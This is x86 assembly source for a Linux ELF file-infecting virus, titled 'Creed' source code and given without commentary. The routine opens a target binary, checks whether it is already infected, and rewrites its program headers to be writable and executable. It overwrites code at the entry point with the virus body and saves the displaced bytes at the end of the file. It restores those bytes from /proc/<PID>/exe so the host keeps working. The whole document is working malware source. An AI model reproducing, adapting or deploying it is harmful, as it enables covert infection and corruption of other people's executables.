|
Creed原代码
# some system-calls
CLOSE = 6
OPEN = 5
LSEEK = 19
WRITE = 4
READ = 3
GETPID = 20
# some definitions from .h files
O_RDONLY = 0
O_RDWR = 2
SEEK_SET = 0
SEEK_CUR = 1
SEEK_END = 2
TEXTADDR = 0x8048000
ELF32_MAGIC = 0x464c457f # this is little endian, the right value is
0x7f454c46
ELF32_LEN = 52
PHDR32_LEN = 32
EM_386 = 3
EM_486 = 6
.data
.align 4
.globl main
.type main, @function
main: call virus # save entry-point
virus: popl %edi
subl $5, %edi
pushl %edi
pushf
pusha
pushl %ebp
# reserve some space on the stack ...
movl %esp, %ebp
subl $2000, %esp
call next
S1: .string "./test" # 7 bytes
S2: .string "/proc/xxxxxxxxxx" # 17 bytes
S3: .string "/exe" # 5 bytes
next:
popl %esi # adress of S1
find_file:
# open file and give back fd in %ebx
open_file:
movl $OPEN, %eax
movl %esi, %ebx # get S1
movl $O_RDWR, %ecx
int $0x80
movl %eax, %ebx
# read in Elf32-header, and seek back filepointer to 0
movl $READ, %eax
leal -2000(%ebp), %ecx
movl $ELF32_LEN, %edx
int $0x80
movl $LSEEK, %eax
xorl %ecx, %ecx
movl $SEEK_SET, %edx
int $0x80
# check if ELF-file
cmpl $ELF32_MAGIC, -2000(%ebp)
jne leave_virus
# check if already infected (e_type == EM_486)
cmpb $EM_486, -1982(%ebp)
je leave_virus
# if not, mark it as infected
movb $EM_486, -1982(%ebp)
movl $WRITE, %eax
leal -2000(%ebp), %ecx
movl $ELF32_LEN, %edx
int $0x80
movl -1976(%ebp), %ecx # save e_entry, we need it later for
pushl %ecx # position in host where we seek to
# seek to e_phoff
movl $LSEEK, %eax
movl -1972(%ebp), %ecx
movl $SEEK_SET, %edx
int $0x80
movw -1956(%ebp), %ecx # get e_phnum (2 bytes)
l1: pushl %ecx
movl $READ, %eax # read in program header
leal -2000(%ebp), %ecx
movl $PHDR32_LEN, %edx
int $0x80
movl $LSEEK, %eax # seek back these bytes
xorl %ecx, %ecx
subl $PHDR32_LEN, %ecx
movl $SEEK_CUR, %edx
int $0x80
movb $7, -1976(%ebp) # set falgs to PT_READ|PT_EXEC|PT_WRITE (
# Huh? Elf32 requires a word (4 bytes) here
# but for what ? 7 is the greatest value...
movl $WRITE, %eax # write back programheader
leal -2000(%ebp), %ecx
movl $PHDR32_LEN, %edx
int $0x80
popl %ecx
loop l1
# seek to (TEXTADDR - e_entry) in file
movl $LSEEK, %eax
popl %ecx # get back e_entry
subl $TEXTADDR, %ecx
pushl %ecx # save virii-pos, we need it later
movl $SEEK_SET, %edx
int $0x80
# read and save bytes that we will overwrite
# onto stack
movl $READ, %eax
leal -2000(%ebp), %ecx
movl $(END-main), %edx
int $0x80
# and write back to end of file (first seek there)
movl $LSEEK, %eax
xorl %ecx, %ecx
movl $SEEK_END, %edx
int $0x80
movl $WRITE, %eax
leal -2000(%ebp), %ecx
movl $(END-main), %edx
int $0x80
# seek back to virii-position
movl $LSEEK, %eax
popl %ecx # get back saved position
movl $SEEK_SET, %edx
int $0x80
# write viruscode to file
movl $WRITE, %eax
movl %edi, %ecx
movl $(END-main), %edx
int $0x80
# close file
close_file:
movl $CLOSE, %eax
int $0x80
# move end of virus to stack
# and jump there
leave_virus:
call lvl1
lvl1: popl %ebx
subl $5, %ebx
pushl %edi
pushl %esi
movl $(END-before_end), %ecx # number of bytes
movl %ebx, %esi # from where ?
addl $(before_end-leave_virus), %esi
leal -1000(%ebp), %edi # to where ?
cld
rep
movsb
popl %esi
popl %edi
# OK, moved -- jump there
leal -1000(%ebp), %eax
pushl %eax
ret
# construct "/proc/<PID>/exe"
before_end:
pushl %edi
pushl %esi
addl $13, %esi # adress from S2+6 in %esi
movl %esi, %edi
addl $11, %edi # and from S3 in %edi
movl $GETPID, %eax
int $0x80
pushl %eax
pushl %esi
call pid2string
addl $8, %esp
bl1: incl %esi
cmpb $120, (%esi) # is it a 'x' ?
jne bl1 # go to end of string; %esi now holds adress of end
# of S2
pushl %esi # source and dest are wrong
pushl %edi
popl %esi
popl %edi
movl $5, %ecx
rep
movsb
movb $0, (%edi) # OK, moved string, store 0 after it
popl %esi
popl %edi
# open it
movl $OPEN, %eax
movl %esi, %ebx
addl $7, %ebx # /proc/<PID>/exe
movl $O_RDONLY, %ecx
int $0x80
movl %eax, %ebx
# move original bytes from victum to memory
# so seek to end this position,
movl $LSEEK, %eax
xorl %ecx, %ecx
subl $(END-main), %ecx
movl $SEEK_END, %edx
int $0x80
# read in # bytes
movl $READ, %eax
leal -2000(%ebp), %ecx
movl $(END-main), %edx
int $0x80
#
movl $CLOSE, %eax
int $0x80
# move original bytes to memory
leal -2000(%ebp), %esi
movl $(END-main), %ecx
rep
movsb
# restore registers/flags
movl %ebp, %esp
popl %ebp
popa
popf
ret
# in C you would call it like
# pid2string(s, int pid)
# where pid will be stored at adress s
pid2string:
pushl %ebp
movl %esp, %ebp
subl $100, %esp
pusha
pushl %edi
pushl %esi
movl 12(%ebp), %eax # second argument
cltd
xorl %ecx, %ecx
leal -100(%ebp), %ebx # our local buffer
movl $10, %esi
pl2:
divl %esi
addb $48, %dl
movb %dl, (%ebx) # save rest of division
incl %ebx
incl %ecx
mull %esi #
divl %esi # next power of 10
cmpl $0, %eax
je outta
jmp pl2
outta: movl 8(%ebp), %edi # first paramter to this function
# %ebx already holds adress of end of our buffer
decl %ebx # but adjust it a bit
pl3: movb (%ebx), %dl
movb %dl, (%edi)
incl %edi
decl %ebx
decl %ecx
jnz pl3 # now at adress 8(%ebp) is the right string ...
popl %esi
popl %edi
popa
movl %ebp, %esp
popl %ebp
ret
END: # the rest of the victum-code goes here ...
|